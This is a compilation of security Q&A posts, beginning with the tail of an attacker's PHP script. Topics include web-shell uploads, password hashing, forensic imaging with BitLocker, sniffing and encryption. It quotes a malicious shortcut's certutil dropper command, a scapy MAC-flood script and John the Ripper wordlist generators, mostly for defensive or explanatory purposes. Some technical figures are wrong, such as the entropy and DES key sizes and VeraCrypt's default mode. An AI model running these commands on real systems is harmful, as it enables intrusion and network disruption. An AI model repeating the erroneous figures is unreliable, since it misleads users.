curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

I can figure out what this script is doing, but I have no idea how the attacker managed to upload it on the server. The only form that the website had was a contact form, and it was only the HTML part without the mail function.
Furthermore, I've found 4 more PHP files designed as shells, with a lot of code inside, so I'm not going to post it here.

Are there any ways of deploying such packages without an uploading form, actually without a form at all?

EDIT: The website does have a database , but no other control platform like an administration portal or a client zone (there is no direct access toward the database), it does have a ftp , but i have no other information regarding ssh/scp ,etc .

There are a lot of ways. Judging by the main features of your website, an attacker could have used:

SQL injection: it is not necessary to have direct access to the database. If you want technical details, this question and its answers explain different ways to obtain a shell from a SQL injection;
credential theft: the attacker could have stolen or otherwise obtained your FTP credentials. This can happen through bruteforce attacks, but since standard FTP is not encrypted, and the password is transmitted in cleartext, an attacker could also have sniffed the connection (for example, if you were using a public Wi-Fi network), obtained the password and used it to upload these files;
file inclusion (LFI/RFI):  if the website is not designed in a careful way, an attacker could upload any PHP file even without any form,database, or stolen credential. For more information: https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion and https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion;
malware in your computer: it is possible for an attacker to infect the computer you use to access the website with malware, which could in turn be used to upload PHP files in the website as if you did it. You should already know that there are several ways to infect your computer with malware, but I'm going to highlight one. Spear phishing;
countless other ways. I strongly suggest you to take a look at https://www.owasp.org . It contains a lot of information about web application security, including how to perform code reviews, how to test your website for common vulnerabilities and how to eventually defend it from most attacks.


In the case of the Gawker data breach, would strong passwords be ok? In the Gawker data breach, was just the database stolen and that gave free access to all user data? Or did the hackers still need to read the MD5's of the usernames and passwords to gain access to the data?

If you had a strong, non-dictionary, 12+ character password, is there any need to worry?

The strength of a password is related to two things:

Entropy -- Relative strength as measured in bits.
Iteration speed -- How long it would take to exhaustively test against a certain function.

Gawker used DES crypt hash method (not the best choice). That seems to be roughly 10 times slower to brute force than MD5. A GeForce 8800 Ultra (2007 vintage) is widely cited as tackling 200 million MD5 hashes per second. My GeForce 560 TI is about four times as fast. 200*4/10 = 80 million DES crypt hashes per second.

A password of 26+26+10+10 (lower, upper, numbers, 10 symbols) and 12 characters long is worth 274 bits of entropy. DES maxes out at 256.  Wolfram Alpha tells me you've got a little bit of wiggle room against one graphics card at 256 bits of entropy.

Alternately, there's the DES cracker perspective where the entire keyspace could be tested in about 10 days in 1998 by an EFF pet project. Thus, your relatively strong password might still be defeated by the limitations of a smaller hashing space and a quickly attacked algorithm.

I wouldn't hold my breath, but at least you won't end up on a top passwords list.


Should a host based firewall have an API accessible to other applications? Some people are hesitant to use Windows Firewall because it allows software to alter its state via an API.  The benefit of this is that the Firewall configuration can be centrally manged in GPO.

On the other hand, malware can change or alter Windows Firewall settings unbeknownst to the end user.

Has anyone, vendor, or even research group studied the impact and ramifications?  What are your experiences with "programmable firewalls"* and should they be used?

As with so many security controls, they should always be considered as part of a defence in depth strategy. A personal firewall on your machine adds useful protection, but should not be relied upon as the only protection.

(I say personal firewall here because the vulnerability you identify - if malware infects a machine and escalates privilege it can disable/modify a personal firewall running on the same machine - applies to all such products, not just the Microsoft one.)


Can I safely disable and re-enable Secure Boot when Bitlocker is used in order to make a Forensic Image? I am about to make a forensic image (using dc3dd from OSFClone) of two laptops and in this specific case I'd like to startup using an bootable USB stick with OSFClone and image the disk to an external disk. The laptops (HP ProBooks) in this case uses Bitlocker and has (according to the vendor specifications) an TPM 2.0 Embedded Security Chip shipped with Windows 10 (Common Criteria EAL4+ Certified). One laptop has a Kioxia KBG30ZMV256G NVMe SSD, the other a SanDisk SSD X400 M.2 2280 (SD8SN8U-128G).
I did receive a Bitlocker recovery key for this laptop but I cannot be 100% sure that the recovery key is correct. I did also receive a local Windows Administrator user which I could use to boot and login to Windows and check the recovery keys but I rather don't want to boot the machine into Windows at all.
My plan is to (temporarily) disable Secure Boot, boot from the OSFClone USB and make a forensic image to an external disk. After that I want to re-enable Secure Boot again. I wonder if Bitlocker will prompt to enter a Recovery Key in this case when booting normally again? Or will it boot straight into Windows (after re-enabling) like nothing has happened?
It's an option if I have to enter the Bitlocker recovery key once after imaging and boot into Windows. But I rather don't boot into Windows and as I said I cannot be 100% sure the recovery key I've received is correct.
Lastly, what happens if I do (accidentally) boot into Windows before re-enabling Secure Boot, does re-enabling Secure Boot change back the old behavior (no recovery key required) or did it then save that one "unsecure boot" state and prompt it anyway till a recovery key is entered?
Also in this case I am not sure if OSFClone will image the unencrypted disk (which I suspect in case of a SED disk with TPM-only, as it should unlock when the machine with TPM and disk power on) or will I only manage to image the encrypted disk (which I suspect when SED and/or TPM is not used). Either way, the forensic processing software we use (Intella by Vound-Software) should be able to handle Bitlocker encrypted images when the recovery key is supplied but I rather want to understand exactly how it works and if my understanding of this matter is correct.

OK, first things first: if you're trying to make a forensic image of a disk, and you're doing ANYTHING AT ALL that involves booting the machine it's in before you initiate the image, stop and ask yourself why you aren't just removing the disk and cloning it using dedicated hardware. Or at least disabling auto-mount and attaching the disk as removable storage to another PC from which you will create an image or clone of the unmounted volume.
If you absolutely must image the disk in place inside the PC, REMOVE the disk before making any modifications to the system (such as disabling or reconfiguring Secure Boot). Only once you're confident you can boot into your alternate OS, reliably, should you even consider re-inserting the disk. Ideally with a write-blocker in place, but that might not be practical for a laptop's internal drive.
Booting Windows - even as far as the login screen - will modify the data on disk unless it's forced to be read-only. In addition to the changes that Windows itself will make, booting will also start background processes (services) that may do anything else possible in software at all.

Disabling Secure Boot will probably modify the instructions that the CPU executes on bootup, which are one of the things the TPM tracks and determines whether or not the BitLocker key can be released. As such, I expect that yes, you would need to enter the recovery key. If you do enter the recovery key and boot the system, it should then update the TPM unlock to be able to automatically unlock in the future until you change the boot process again. If you don't boot to Windows, re-enabling Secure Boot would probably result in TPM automatic unlock working again.
As for Self-Encrypting Disks, if that covers the entire disk without leaving a single partition in plain-text for boot code (which is what BitLocker normally does), then attempting to image the disk will either just fail (if the unlock requires that the boot process not have been tampered with) or it will image the plain-text data (because the decryption happens transparently on the disk controller). In all other cases (including non-SED), your image would be the encrypted data (plus the small non-encrypted boot volume).


Why do I have keys of strangers in my GPG keychain? I'm going though my GPG keychain. I've got a key for a few strangers in my keychain. I don't recall exchanging keys and I'm not sure how the public keys came to be installed in the keychain. I think (perhaps incorrectly) it may have been installed by GPG for Mac OS X, but I'm not certain.

I did find some references to him relating to Firefox, but I do not use a GPG/Firefox plugin, so the browser and the keychain should be disjoint.

What reasons could this have?

Lots of mail clients will automatically fetch certificates if you receive signed mail (or news group postings) to be able to verify them. Especially newsgroup postings and messages on mailing lists can lead to a rather high number of "drive-by" certificate downloads.

Certificates of unknowns are not a problem at all: unless you trust them, they do not have any effect on validation of other keys unless trusted, but enable you to validate signatures (on files/messages) issued by this key if GnuPG can find a trust path to them.


Downloaded a file which turned out to be a shortcut that ran the following command, not sure what it did I downloaded a torrent which turned out to be a shortcut that did the following thing.

%ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk"
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe" >nul 2>&1 &&
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe"

Does anyone have any idea what this file did? I accidentally ran it.

The file was 222MB large. I checked my startup folder but there seems to be nothing there, maybe because I pressed cancel when the cmd window popped up. But the file went from 222MB to 1.85 kb after I ran it.

The link to the file is a torrent here https://thepiratebay.org/torrent/34688106/Succession.S02E07.720p.WEB.x265-MiNX

Downloading it won't do anything but running it will. I also ran avast scan and windows defender scan on the file but it found nothing.

I re-downloaded the file and renamed the .lnk to .txt, it looks like a security certificate.

certutil is a built-in program in Windows used to manage certificates. The above command would be decoding the certificate present in the file and install malware. An article illustrating how this could be used.


Is ettercap detectable? Is Ettercap detectable? It technically shouldn't be because it just reads the data it sees legally through network. Every other computer receives the exact same data, it just doesn't show the data to user since none of it is reserved for that one user.

Is using Ettercap detectable? I mean, it's just my application on my computer, which will analyze a network. It's just inputs and outputs. It's not like Ettercap is reaching into the network. It just read whatever meets my computer.

Additionally, does Ettercap work through LAN/Ethernet? I can't really check myself since I'm on Wi-Fi and my modem has problems with cable networking.

It depends a lot on the setup.

If a trace is running anywhere but on your local subnet, you cannot detect it, period.

On a local subnet, it depends a lot on where and how the trace happens:

If it happens at the edge of the segment (on the router, for instance), you cannot detect it.
If it happens from a machine connected on the same segment (ethernet) simply using promiscuous mode, you can attempt to detect it by sending it a specially crafted ARP request that doesn't use the regular broadcast address and see if you get an answer. If you do, it means the NIC is in promiscuous mode (the technique is described here). NMap can do that for you.
If it happens on the local network through ARP poisoning. See this question about how you might detect such an attack.


What is public key pinning How does public key pinning work and what problem does it solve?

It means that rather than trusting a central authority for validating the PKI, you are utilizing your own means to determine that a public key is valid.  Pinning allows removal of the trust of a central authority and instead takes that responsibility on directly.

The "problem" that it is trying to solve is relying on third party trust, however it requires that proper steps be taken to ensure first party trust and to make sure that revocation is not impeded if the pinned certificate/public key's corresponding private key is lost.

Many techniques can be used for establishing the trust, but some common ones are distributing the pin with an application that requires communication or verifying via an offline side channel.  Revocation checking could be done through operating a revocation list similar to how a CA would normally do so, though this takes some more setup to do properly.

There isn't a practical difference between certificate and public key pinning as a certificate is just a public key with details about the holder of the private key.  Pinning just implies trust of that cert/key.


Pointers for john the ripper rulesets I've been pouring over the JtR ruleset documentation and making little progress. I understand how to use it to make various permutations from a given wordlist, that's fine. However, I'm trying to figure out how (if it is possible) to use them against XKCD 936 style passphrases

I've seen character classes:

?w  matches whitespace: space and horizontal tabulation characters
?a  matches letters [a-zA-Z]

Will a ?a?w?a?w?a?w?a work to match a four word grouping? I think that that would match 4 characters with whitespace--not sure how to match whole words with that. Suggestions? I have a good idea that there aren't any character substitutions or anything.

Alternatively, should I just be taking my wordlist and generating groupings of four and hashing/checking them without JtR?

Cheers

Related question

DISCLAIMER: I'm neither JtR user nor Perl programmer. This answer that follows is a product of years of training in Google-Fu alone, combining a few answers from newsgroups and some JtR documentation.

John the Ripper (JtR) rules do not support multiple input words.

The only exception is with the single crack mode where operators 1, 2, and + control if other commands are applied to the first, the second, or to both words respectively, when testing against a word pair, such as first and last name.

Alternatively, you could redirect the output of an external script (handling word combinations) either into a john --stdin or into a file (and use that as a wordlist with JtR). Doing so will obviously slow down the process as the number of possible combinations increase exponentially with the number of input arguments, thus is probably only worth trying on really short word lists.

Here are some Perl scripts that you could adopt to suit your needs (or use as is?):

Two word combinations:

#!/usr/bin/perl

while (<>) {
    chop;
    $w[$#w + 1] = $_;
}

foreach $a (@w) {
    foreach $b (@w) {
        print "$a$b\n";
        print "$a $b\n";
    }
}

Three word combinations:

#!/usr/bin/perl

while (<>) {
    chop;
    $w[$#w + 1] = $_;
}

foreach $a (@w) {
    foreach $b (@w) {
        $ab = "$a$b";
        $a_b = "$a $b";
        foreach $c (@w) {
            print "$ab$c\n";
            print "$a_b $c\n";
        }
    }
}

Four word combinations:

#!/usr/bin/perl

while (<>) {
    chop;
    $w[$#w + 1] = $_;
}

foreach $a (@w) {
    foreach $b (@w) {
        $ab = "$a$b";
        $a_b = "$a $b";
        foreach $c (@w) {
            $abc = "$ab$c";
            $a_b_c = "$a_b $c";
            foreach $d (@w) {
                print "$abc$d\n";
                print "$a_b_c $d\n";
            }
        }
    }
}


Level of Data Security in iOS How secure is the data stored on iOS devices, specifically app data like notes, pictures, etc.?  Are there any ways to make it more secure?

Unless the app you are using asks for Data Protection, they are only as secure as your device is.  Most data is stored relatively in the clear and could be pulled off the device easily with physical access to a functional device.  Even with Data Protection, it is only as secure as your pin or password.  According to this article, most apps don't use Data Protection yet.

This also doesn't take in to consideration any possible issues that could arise from either intentional or unintentional leaking of data off the device by the apps that you are using (such as cloud backups and the like.)


Bank sends one-time password by e-mail (while sending on SMS) for transaction verification; is this insecure? Most of the banks uses OTP (One Time Password) to enrich the authentication through dual factor.

But I observed Banks are sending the OTP to mobile as well as email.

I suppose sharing passwords on email is not secure and it's not a recommended practice by Information Security experts.

Below is the sample email I receive with the OTP to mobile:

Is my OTP is not secure due to bank practice? Or Am I missing something here?

Multi-factor authentication (aka two-factor authentication) is more secure than simply using a long-lived password.  The one-time password that sits in your email account will be useless if (1) you don't have the account password/secret key (or other factors required to login) or (2) the one-time password has been used once.

Yes, it is bad advice to send long-lived passwords via email or SMS (as email is often transferred between mail servers unencrypted and may be eavesdropped on -- say by malicious sysadmins -- and email is commonly stored on your desktop unencrypted).  However, it is common practice to send one-time passwords that are useless on their own without other factors.  In fact it's provably stronger than not requiring the other factors.  There are potentially better ways to do multi-factor authentication than potentially insecure email (e.g., company issued physical tokens though it's probably not feasible for every bank to issue separate physical tokens to every customer and expect most customers to keep them secure and not lose them).  Bottom-line, requiring an extra factor to demonstrate ability to read messages sent to your email address or phone number is stronger than not requiring it (though it would be a bad idea to allow someone with only access to your phone or email address to easily get full control of your bank account).


How to check if range of IP addresses are SPAM blacklisted? While it's easy to check if a single IP address is blacklisted for SPAM using for example http://www.spamcop.net/bl.shtml, then is there a way to check multiple addresses at once? For example how to check if some of the /22(1022 usable IPv4 addresses), which were used by a customer and now returned to ISP, are blacklisted by SPAM lists or not and if it is fine to give those to another customer?

Spamcop (like other DNSBLs) uses DNS to allow for quick lightweight lookups. Use the DNSBL client of your choosing, or roll your own.

Alternately, you can just contact spamcop and ask them for help. This might be the preferred solution since you have a lot of hosts to look up.


CVE-2018-0886 mitigation for an unpatchable RDP server An up-to-date Windows 10 client is connecting to a Windows 10 RDP host which is stuck at 1511 (host can't be updated and 1511 is out of support for receiving patches such as the CVE-2018-0886 mitigation).

What exactly is the exposure going over public internet? Is there another way to mitigate the exposure other than installing a software patch?

Specifically: my understanding is that CVE-2018-0886 requires a man-in-the-middle setup to initiate an attack. If the client and host are both connected to trusted providers, does it still leave an opportunity for a MITM (intermediate nodes between the providers)?

Also: when initiating an RDP connection, there is often a prompt to accept a certificate (as shown in this question), and it seems to re-appear from time to time between the same pair of client and host. This suggests to me that the RDP host is generating and periodically re-generating a self-signed certificate, which seems to me to be the point at which a MITM can insert itself. Is there any procedure by which the host can generate a long-lived certificate (even if self-signed) which can be transferred to a client (by secure connection) so that the trust relationship is maintained (no prompt to trust a self-signed cert over a questionable connection)? And, in doing this, does it not mitigate the CVE-2018-0886 vulnerability without having to do any patching?

Require the client to log into a VPN before connecting to the server. Expose the RDP port only to hosts connected through the VPN.

This will protect you not only from CVE-2018-0886 but also from other RDP vulnerabilities, such as CVE-2019-0708 (BlueKeep) and those that will continue appearing in the future, if no malicious actor is able to get into the VPN.

Please note this is a big if. Even the computer from which the most trusted user might get compromised, you should really require a VPN and patch the vulnerabilities. But missing the later one, at least you should implement the former.


What is the difference between Right and Permission? I know that the term "rights" applies to users or groups of users  (such as "the user X has the right to change system time") and the term "permissions" applies to an object (such as a folder or file, e.g. "the user X has full permissions over this folder"). This link says the same.

Then why are we not saying "user permissions" instead of "user rights"? What is the difference in the meaning of the two words "permission" and "rights"?

I don't think there really, really is a totally good reason for the distinction. It's just the way it wound up in Windows.
In everyday language rights/permissions/privileges are somewhat synonymous anyway.
Re. "User rights"
The term "User rights" on Windows usually refers to something granted to a user.
Microsoft themselves seem unsure about the terms. Here's a painful bit from Wikipedia:
https://en.wikipedia.org/wiki/Privilege_(computing)#Nomenclature

The names used in the Windows source code end in either "Privilege" or "LogonRight". This has led to some confusion about what the full set of all these "Rights" and "Privileges" should be called.
Microsoft currently uses the term "User Rights". In the past some other terms have also been used by Microsoft, such as "Privilege Rights", "logon user rights" and "NT-Rights".


Fill ARP table with as many entries possible I am looking for a way to fill the ARP table with as much data in a short period of time as possible.

I am looking to do this because I would like to test the way my networking device handles a great number of ARP entries within x amount of time.

I am open to any solution, whether it be built in to a security suite or a python script that I get assistance writing.

I have tried researching Kali's features but I don't really even know the path I should be looking in.

Thank you for the comments.
With your comments, I was able to find a nice script on github:
https://github.com/mertkahyaoglu/macflood/blob/master/macflood.py

#!/usr/bin/env python
from scapy.all import *

vendor = "b8:e8:56:"
destMAC = "FF:FF:FF:FF:FF:FF"

while 1:
    randMAC = vendor + ':'.join(RandMAC().split(':')[3:])
    print randMAC
    sendp(Ether(src=randMAC ,dst=destMAC)/
    ARP(op=2, psrc="0.0.0.0", hwdst=destMAC)/Padding(load="X"*18),verbose=0)


Danger in opening spam emails on Ubuntu operating system Some emails are suspected to be viruses; Because of that, the email service store categorizes them as spam. Or some pages are suspected to be viruses, and new browsers classify them as harmful pages. As you know, many viruses and malware can't run on Linux (like Ubuntu). Here is my question: Can harmful pages or those type of spam (junk) emails harm my data? Maybe by phishing, data transfer (from my HDD), attacking cookies, or any other types of hacks?

A virus or any other form of malicious email may "harm your data" only by exploiting a vulnerability in the overall system, leading to execution of attacker-controlled instructions.

The "overall system" includes both the user's computer, and the user himself. In a phishing attempt, the primary vulnerability is the meat bag: the email contents induce the human user to take actions which are in accordance with the pursuance of the attacker's goal but ultimately detrimental to the user himself. This is not new and such attacks have far preceded the invention of computers. However, a recent twist is the realization that many users seem to lose their common sense when dealing with a computer, making them easy targets for con-artists.

Linux-based operating systems, generally speaking, have proven less vulnerable to malicious code in emails than Windows, for several reasons:

The Unix ancestry of Linux has promoted a rather strict philosophy of secure data handling, which might help prevent really dumb things such as automatically running incoming executable files.
The Linux ecosystem is very varied, both for OS particulars (emplacement of binaries, versions of libraries...) and for email applications, making exploits less universal.
Linux's share on the desktop market OS being what it is (1.29%, according to StatCounter), most attackers don't deem it worth the effort. Attackers are no less lazy than anyone else, and prefer to concentrate on the about 85% of Windows, which are much more likely to result in profits for them.

However, remember that the OS and its applicative software can only have limited success at fixing vulnerabilities in the human side of the system. Software can try to avoid "dangerous" situations in which humans have been known to take really wrong decisions with alarmingly high probability, but ultimately the user MUST demonstrate a less-than-absolute gullibility. Otherwise there is no possible security.

Therefore, malicious emails harming your data are improbable (but at least theoretically possible) if you use Linux and if, as a human user, you do not do anything foolish.


Shouldn't popular cryptographic hash functions encode the length of the input data in the output? EDIT2: This discussion was reduced to "are collisions actually harder to create when you add a length constraint?" which is more relevant to the Crypto exchange. I will create a question there and link it when it exists. Thanks for everyone who participated in the discussion

EDIT: The term "Collision attack" in Wikipedia seems to only talk about finding any random collision, I meant to say "Preimage attack".

It would seem like a good idea to me, because it would prevent all collision attacks that require the attacker to modify the length of the data. The attacker would have to find a collision with the exact same length, which is obviously much harder than finding a general collision.

Collision attacks usually require the attacker to modify the length of the data (by appending more blocks to the existing data or something like that), don't they?

The only downside I see to this is that it will require the hash results to be longer (the way I see it only by 2-4 bytes being "The length of the data modulo 2^16-2^32" should be about enough) so not by much.

This of course doesn't have to be part of the hash function itself, it could just be a general security recommendation: "Verify the expected length of the data, not just that it matches the calculated hash, to prevent many forms of collision attacks".

Though I've never heard this recommendation said or mentioned before, even though the way I see it, it makes a lot of sense.

So, in general, I'm asking here: Why is this not a good idea? Should it be encoded in hash functions so it's automatically applied by anyone using those functions, or should it be a general security recommendation that is up to the user of the hash function to implement on his own, separately from the hash function?

Or maybe I'm completely missing something that makes this idea ridiculous?

You're missing another downside: it tells the attacker the length of the plaintext.

In some cases this is considered sensitive information. If I'm brute-forcing passwords, for example, you're telling me that I can skip trying all passwords except those of the specified length. Cool, thanks.

  Collision attacks usually require the attacker to modify the length of the data (by appending more blocks to the existing data or something like that), don't they?

I believe you're describing a length extension attack. The real cryptographers would probably roast me for saying this, but I naively have a possible solution of padding the massage prior to hashing (at which point you can drop the whole length encoding and just use a traditional hash function): _(really, don't go building software based on this, I don't guarantee that it's secure).

hash( 0*(256 - (len(msg)%256) ) || msg)

Then when the attacker tries to do a length extension attack by concatenating msg2 to the end:

hash( 0*(256 - (len(msg||msg2)%256) ) || msg||msg2)

they will have a different number of padding 0's, which changes the massage prefix and totally breaks the length extension attack.

(The more I think about this, the less I want to stand behind the idea. I should probably spend some time googling "length extension attack mitigation" rather than sitting here and speculating)


FileVault 2 FDE and BoxCryptor are safe to use together or they have conficts? Assuming that someone has a Mac and uses FileVault 2 FDE (256-bit AES key) and uses the BoxCryptor (256-bit AES key) for the clouds like Dropbox/GDrive/etc and or some other folders.

FileVault 2 uses AES with 256-bit keys and FileVault 2 encrypt the FDE while the system is halted.

BoxCryptor uses AES with 256-bit key and from a search on the internet it uses CBC as block chipher. Also, BoxCryptor decrypt and encrypt on user demand. So, the user asks to decrypt it a file and the files are not auto-decrypted while the system is up like the FileVault2
(correct me if I am wrong about that by the way).

Also, both of them have a different public and private keys due to the fact the "initialized passwords" were completely different.

In this case,

Let's take the following example:

User: Turn on the Mac and login into his account.
FileVault 2: Decrypt the whole disk.
User: Open the Boxcryptor and encrypt a file: textfile.txt on the "Dropbox" folder
User: Ask the Mac to be shutdown.
FileVault 2: Encrypt again all the files. So, it encrypts again the
already encypted file: textfile.txt from the BoxCryptor.
Mac: It is powered off.

Question:

  When the User turns on the Mac again, and FileVault 2 decrypts all the disk files, Is it possible to harm the already encrypted BoxCryptor file textfile.txt which is located in the "Dropbox" folder ?

So, as you imagine, the question is about:

  a double AES encryption with different keys and I think with different
  chipher blocks as well.

P.S. I dont know what chipher block FileVault 2 uses. Sorry. If someone knows about it, just edit the the question to provide more information about that.

P.S.2  Also, I saw a couple of good questions in the security.stackexchange about a double encryption, but all were quite general. They had answers like: Yep, it is secure, but what about the block chiphers? what about the Initianilation Vectors? Is the private key the same or different?
That's why I am writting the whole details about the encryption methods and I am focusing only in FileVault 2 and BoxCryptor and not in general encryption.

As Boxcryptor operates on the file level, it is totally fine to run it on top of an already encrypted file system (e.g. FDE, FileVault, BitLocker, True|VeraCrypt, etc.). A Boxcryptor encrypted file (with .bc extension) is just a regular file which can reside on any file system.


How can I decrypt traffic on a WPA encrypted network? I am connected to a WPA/WPA2 Access Point and I want to sniff all wireless traffic inside that network. How can I decrypt the traffic even though I don't have the pre-shared key?

Short answer

No, you need the pre-shared key.

Longer answer

WPA-PSK and WPA2-PSK encrypt traffic per client and session keys, which are derived from the pre-shared key.

So if you know the pre-shared key for the network (which you don't) and you sniff the four way handshake when another client joins the access point, you could decrypt only that client's traffic.

Note

This only applies assuming access point isolation is not enabled on the access point.


Has the paradox 4.5 database file encryption ever been broken? As the encryption of the paradox 4.5 database files is from around the late eighties or early nineties, I would have thought it would have been broken by now, but I've only seen tools to brute force (or use a dictionary) to get the password.

Has it been broken in the sense that you can calculate the password from contents (though it may take some time to do so)?

What is the encryption based on?

Paradox databases have a built-in encryption-based security scheme which allows a master password to be defined for the table and many specialized auxiliary passwords to be defined for various uses it.
The original version used its own protection, and it was by-passable and the password could have been reset. Passwords for newer versions could no longer be reset. I am not sure from what version above this applies, so this is only a partial answer.
Also, take note that there were known backdoor passwords for some versions.


How does ssh public key authentication work? My basic understanding is this:

The (connected to) server's sshd uses the public key to encrypt some message
The client's ssh or ssh-agent decrypts it and sends something back (the message's checksum? its signature?)
The server's sshd verifies that this is consistent with the message to authenticate the user

But what are the details? What is the "some message", what does ssh(-agent) send back? Would doing this with the same original message over and over again always yield the same communication?

Can this authentication process be replayed via bash tools if ssh-agent is used? E.g. the public keys that ssh-agent provides can be obtained via ssh-add -L, what about the rest of the process? Or would that require manually connecting to the $SSH_AUTH_SOCK unix socket and some low-level communication?

Related: Thomas' Server-Bob dialogue here, though that suggests the client just signs some random data that will then be checked against all public keys of the server user's authenticated_keys.  This illustration on the other hand claims the message is encrypted to the previously determined user's public key (not the one for the ssh encryption) and the client outputs the checksum which also depends on some random session ID. Which one is correct? Or do both only tell part of the actually more complex story?

In brief:

SSHv1: The server encrypts a message using a public key stored in authorized_keys, the client has to decrypt it and return it's checksum (modified by a session ID)
SSHv2: The client signs a message (depending on the session ID) and transmits the signature and message (without the session ID) including the public key used. The server then prepends the session ID and verifies the signature (provided the public key is actually in authorized_keys)

The document PROTOCOL.agent summarizes this:

Protocol 1 and protocol 2 keys are separated because of the differing
cryptographic usage: protocol 1 private RSA keys are used to decrypt
challenges that were encrypted with the corresponding public key,
whereas protocol 2 RSA private keys are used to sign challenges with a
private key for verification with the corresponding public key. It is
considered unsound practice to use the same key for signing and
encryption.

Here's the SSHv2 relevant section from RFC 4252:

To perform actual authentication, the client MAY then send a
signature generated using the private key.  The client MAY send the
signature directly without first verifying whether the key is
acceptable.  The signature is sent using the following packet:
  byte      SSH_MSG_USERAUTH_REQUEST
  string    user name
  string    service name
  string    "publickey"
  boolean   TRUE
  string    public key algorithm name
  string    public key to be used for authentication
  string    signature

The value of 'signature' is a signature by the corresponding
private    key over the following data, in the following order:
  string    session identifier
  byte      SSH_MSG_USERAUTH_REQUEST
  string    user name
  string    service name
  string    "publickey"
  boolean   TRUE
  string    public key algorithm name
  string    public key to be used for authentication

When the server receives this message, it MUST check whether the
supplied key is acceptable for authentication, and if so, it MUST
check whether the signature is correct.


Is providing a website password over the phone any less secure than other identifying information? I've been dealing with two separate banks for completing a 401k rollover (I do not have any other accounts with either of the two banks), and I've encountered something with both that I've never seen at any of the banks I usually work with. Both banks have asked for my website password over the phone, when requesting to speak with a customer service representative. Every time, I insist that I won't divulge that, because it's not secure, and that I'd like to verify myself in other ways, to which they usually just ask for date of birth, home address, and usually social security number.

My question is: is there anything more or less secure about using my website password (as opposed to address, date of birth, SSN) for account verification over the phone with a customer service representative?

My intuition says that it's less secure because I believe that my password should never be readable by anyone other than myself - as it should be transmitted via SSL, properly hashed/salted/etc, and stored. Once I divulge the plaintext password to the rep, it's compromised. Is this accurate? (Sidenote: These banks almost certainly do not properly encrypt passwords for storage, but that's a separate issue, I think).

I'm going to disagree with some of my colleagues and suggest that the Bank's solution is much safer than your proposed alternative. Though it's not ideal either. Let's look at each solution and it's attack profile.

Address, SSN, DOB, etc.
We should all be able to agree that these are absolutely terrible ideas. Facts make horrible passwords and should never be used. No exceptions. Literally no exceptions. If someone can research it, then you can't use it to authenticate yourself. Period. Nearly all security questions fall flat on this rule. It's embarrassing. This technique is exploited frequently, often with high-profile targets.  We should know better but we keep using it. This needs to stop.

Website Password
While not ideal, this solves the research problem. It can still be used with secure hashing since the support rep should have to type in the password verbatim to verify it rather than read it off the screen. Your potential attacks are: (a) someone listening can re-use it to impersonate you over the phone, and (b) someone listening can use it on the website. Still, if more companies did this we'd be a lot safer. We can do better, but at least you don't have to worry about someone looking up what street you grew up on or the last digits of your credit card number and then using that information to take over your account.

Call-In Pin
This is Godaddy's solution. You have a 4-digit number on your account that you must provide when you call support. It's better as it solves problem (b) above -- you can't use the call-in pin to log in to the website. But problem (a) remains. The pin doesn't change unless you reset it, so an attacker who hears your conversation can impersonate you. Besides the below, other "call in passwords" tend to fall into this category and are susceptible to "replay attacks".

One-time pass-code
This is PayPal's solution, and it's the best solution available. When you click "contact us" on your PayPal account, you're given a single-use time-limited 6-digit pass-code that you must provide over the phone. It expires after 60 minutes or after you use it once, so an eavesdropper can't impersonate you. And it's random so it can't be predicted. If you're going to implement a solution for yourself, this is the way to do it. PayPal has been doing this for many years and it's worked for them so far.

The "tell me some facts about yourself" way of authenticating over the phone, as you suggested, really shouldn't be allowed; it's a shame so many companies do this. Giving your website password over the phone is much better (to be fair, anything is better), but it presents some problems. Authenticating online and then getting a one-time secret code -- that's a solution I can respect.

Note that the fact that the bank is willing to fall-back to asking for your SSN or Address, etc., is the real scandal here. If you refuse to authenticate yourself securely, you should not be given the option to provide some facts about the victim you're trying to impersonate.


Veracrypt options to protect against multiple versions of an encrypted volume I'm planning to use rsnapshot to backup a veracrypt volume as it changes.

This means I will have multiple versions of the same volume, with slight differences in data.

It is my understanding that this makes certain analysis attacks easier, and that certain ciphers and encryption algorithms can protect better against this specific problem.

With that in mind, what options would be best to configure a new veracrypt volume with?

Making snapshots of encrypted disks non-diff based is problematic as the view on the encrypted data is just "one big ball of garbage", e.g. there isn't even a valid file system.

How much actually changes depends on the mode of operation the bloch cipher in question is used in.

If (which is the default, AFAIK) you are using the GCM, the actual changes to the data are kept to a reasonable minimum, but diff'ing huge binary is not ideal either.

Hence, you may want to rethink that. Maybe making snapshots of the decrypted file system on another encrypted disk is an option, depending on your situation / what you actually want to achieve.

Please also note that modern ciphers are not vulnerable to Ciphertext only attacks, which is basically what you have in mind regarding the security of your planned system.


A way to secure hyperlinks on websites How do you think could we secure hyperlinks pasted by users on website's forums, comments, blogs against bad links/leading to malware etc.?

I thought about google safe browsing, projecthoneypot.

Did you address this problem and if can avoid bad links problem?

In general, there's no way to vet links unless you have significant resources.  Even if you visit the site, the domain may expire and be acquired by a malware distributor who wants to benefit from the old owner's reputation.

You need to white-list protocols, e.g. only allow http, https, and mailto.  javascript: links cannot be trusted.

Besides that, you can rely on most modern browsers to include some kind of malware checking, and possibly not serve links to older browsers.

Either way, you should use nofollow to make sure that malware trackers do not conclude that these links are more reliable because your site links to them or that your site is less reliable because it links to them.


What is the best practice for storing a secret on the cloud? This post on Securing Java Application Data for Cloud Computing offers a good introduction to using a Java KeyStore for securing encrypted data in the cloud.  It neglects, however, to answer the fundamental question, as noted in one of the comments:  how would you protect the keystore password on the cloud?

We are designing a SAAS web application in the AWS public cloud, which will have many end users (scaling to millions).  All user data will be encrypted on a per-user basis with standard encryption.  The password-protected encryption keys will be stored on a remote secure keyserver, which requires an API secret key to access.  This has essentially the same problem noted in the question above, with the keyserver API secret key being directly comparable to the keystore password:  how would you protect the keyserver API secret key on the cloud?

Note that our web application needs access to this secret key so that it can obtain per-user keys for encrypting and decrypting the user data.  We are using AES-256 symmetric encryption, but the fundamental problem remains even for a PKI solution, as you still need to secure the private key.  Note also that we could use a keystore instead of a remote keyserver, but this just reduces to the previous question and again the fundamental problem remains.

Some further constraints:

Storing the secret on the remote secure keyserver is impossible, obviously, since it is used to access that keyserver.
